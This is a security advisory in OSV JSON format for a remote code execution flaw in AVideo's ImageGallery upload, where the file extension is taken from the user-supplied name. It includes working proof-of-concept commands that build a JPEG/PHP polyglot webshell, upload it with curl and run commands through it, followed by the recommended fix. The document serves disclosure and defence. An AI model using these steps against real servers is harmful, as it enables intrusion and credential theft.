{"id":"GHSA-wxjw-phj6-g75w","summary":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","details":"## Summary\n\nThe `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution.\n\n## Details\n\nThe vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method:\n\n```php\n// plugin/ImageGallery/ImageGallery.php:80-108\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n    $directory = self::getImageDir($videos_id);\n\n    // MIME check on file CONTENT — bypassable with polyglot\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        // Extension from attacker-controlled filename — NO allowlist\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n            $newFilePath = $directory . $newFilename;\n        } while (file_exists($newFilePath));\n\n        move_uploaded_file($file['tmp_name'], $newFilePath);\n        // ...\n    }\n}\n```\n\n**Root cause:** Line 93 extracts the extension from the user-supplied `$file['name']` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`).\n\n**Why the MIME check is insufficient:** PHP's `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\\xff\\xd8\\xff\\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.\n\n**Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` — which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target.\n\n**Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` — directly accessible via the web server.\n\nThe upload endpoint at `plugin/ImageGallery/upload.json.php` requires:\n1. The ImageGallery plugin to be enabled (line 6-8)\n2. An authenticated user (line 10-12)\n3. The user must have manage permission on the video (line 18-20) — video owner or admin\n\nThe response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.\n\n## PoC\n\n**Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video.\n\n**Step 1: Create a polyglot PHP/JPEG file**\n```bash\nprintf '\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF' \u003e shell.php\necho '\u003c?php if(isset($_GET[\"c\"])){system($_GET[\"c\"]);} ?\u003e' \u003e\u003e shell.php\n```\n\n**Step 2: Verify it passes finfo detection**\n```bash\nfile --mime-type shell.php\n# Expected output: shell.php: image/jpeg\n```\n\n**Step 3: Upload via ImageGallery endpoint**\n```bash\ncurl -b 'PHPSESSID=\u003csession_cookie\u003e' \\\n  -F \"upl=@shell.php;filename=shell.php\" \\\n  'https://target/plugin/ImageGallery/upload.json.php?videos_id=\u003cVIDEO_ID\u003e'\n```\n\n**Expected response:**\n```json\n{\n  \"videos_id\": \"123\",\n  \"saveFile\": true,\n  \"error\": false,\n  \"list\": [\n    {\n      \"base\": \"67890abcdef12.php\",\n      \"type\": \"image/jpeg\",\n      \"url\": \"https://target/videos/video_filename/ImageGallery/67890abcdef12.php\"\n    }\n  ]\n}\n```\n\n**Step 4: Execute the webshell**\n```bash\ncurl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'\n# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows:\n\n- Reading sensitive configuration files (database credentials in `videos/configuration.php`)\n- Full database access via the database credentials\n- Reading/modifying/deleting any file accessible to the web server process\n- Lateral movement within the server's network\n- Potential privilege escalation depending on server configuration\n\nAny AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.\n\n## Recommended Fix\n\nAdd an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:\n\n```php\n// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n+   $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];\n\n    $directory = self::getImageDir($videos_id);\n\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n+       if (!in_array($extension, $allowedExtensions)) {\n+           return false;\n+       }\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n```\n\nAdditionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution:\n\n```apache\n# videos/.htaccess\nphp_flag engine off\n\u003cFilesMatch \"\\.php$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\n```","aliases":["CVE-2026-33647"],"modified":"2026-03-25T18:11:20.558817Z","published":"2026-03-25T17:45:40Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-25T17:45:40Z","nvd_published_at":"2026-03-23T19:16:40Z","cwe_ids":["CWE-434"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjw-phj6-g75w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33647"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wxjw-phj6-g75w/GHSA-wxjw-phj6-g75w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}